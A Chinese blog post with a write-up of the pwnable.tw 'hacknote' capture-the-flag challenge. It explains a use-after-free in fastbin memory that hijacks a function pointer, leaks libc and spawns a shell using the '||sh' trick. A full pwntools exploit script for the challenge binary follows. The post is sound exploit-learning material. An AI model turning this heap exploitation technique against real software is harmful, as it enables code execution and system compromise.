pwnable.tw hacknote

N1ch0l4s

于 2021-07-14 22:21:16 发布

阅读量128

点赞数

分类专栏： pwnable.tw pwn

本文链接：https://blog.csdn.net/weixin_46521144/article/details/118738452

版权

pwn 同时被 2 个专栏收录

31 篇文章 1 订阅

订阅专栏

pwnable.tw

5 篇文章 0 订阅

订阅专栏

本文详细分析了一种利用Fastbin Double Free漏洞来劫持puts函数的技术，通过操纵内存分配和释放，构造特定的chunk布局，最终实现对puts函数的控制。在漏洞利用过程中，提到了不能使用/bin/sh作为system参数，而是采用' || sh'的技巧。文章还展示了利用过程，包括添加、删除和显示笔记的操作，以及如何泄露libc基址并找到system函数地址，最后触发代码执行。

摘要由CSDN通过智能技术生成

hacknote

主要考察：uaf,fastbin数据结构

分析程序流程可知，在add部分，创建的数据结构如下所示
在这里插入图片描述用图片直观表示，就是

所有被分配的chunk数据结构都是puts块+数据块，并且puts块大小固定。注意到每次free的时候两个快都会被free，并且存在uaf,考虑在free两个块之后，一次malloc 0x8大小的内容，再执行show,那么malloc(0x8)时候调用的puts函数即可被劫持，因为0x10大小的块全被放在了一个fastbin中，我们add一个0x8的块，会从fastbin中取出两个0x8的块，并且可以控制其中一个的内容。将其中的指针部分（上图中的pointer）换掉可以泄露内容；将my_puts换掉可以执行特定函数。这里复习一下fastbin是单向链表，头插法并且从头取出，先进后出。
需要注意的是：不能使用/bin/sh作为system参数。这里只有四字节，需要使用”||sh",在shell语言中

from pwn import *
from LibcSearcher import *
io = process('./hacknote')
context.log_level = 'debug'
# libc = ELF('./libc_32.so.6')
io = remote('node4.buuoj.cn',28472)
elf=ELF('./hacknote')

def add(size,content):
    io.recvuntil('Your choice :')
    io.sendline(str(1))
    io.recvuntil('Note size :')
    io.sendline(str(size))
    io.recvuntil('Content :')
    io.sendline(str(content))
    io.recvline()

def show(id):
    io.recvuntil('Your choice :')
    io.sendline(str(3))
    io.recvuntil('Index :')
    io.sendline(str(id))

def delete(id):
    io.recvuntil('Your choice :')
    io.sendline(str(2))
    io.recvuntil('Index :')
    io.sendline(str(id))
    io.recvline()



puts_got = elf.got['puts']

add(0x20,'aaaa') #0
add(0x20,'bbbb') #1
delete(0)
delete(1)
add(0x8,p32(0x0804862B)+p32(puts_got)) #2
show(0)
puts_plt = u32(io.recvuntil('\xf7'))
libc = LibcSearcher('puts',puts_plt)
libc_base = puts_plt - libc.dump('puts')
print "libc_base----->" + hex(libc_base)

system = libc.dump('system') + libc_base
delete(2)
add(0x8,p32(system)+'||sh')
# gdb.attach(io,"b *0x080488A5")
show(0)


io.interactive()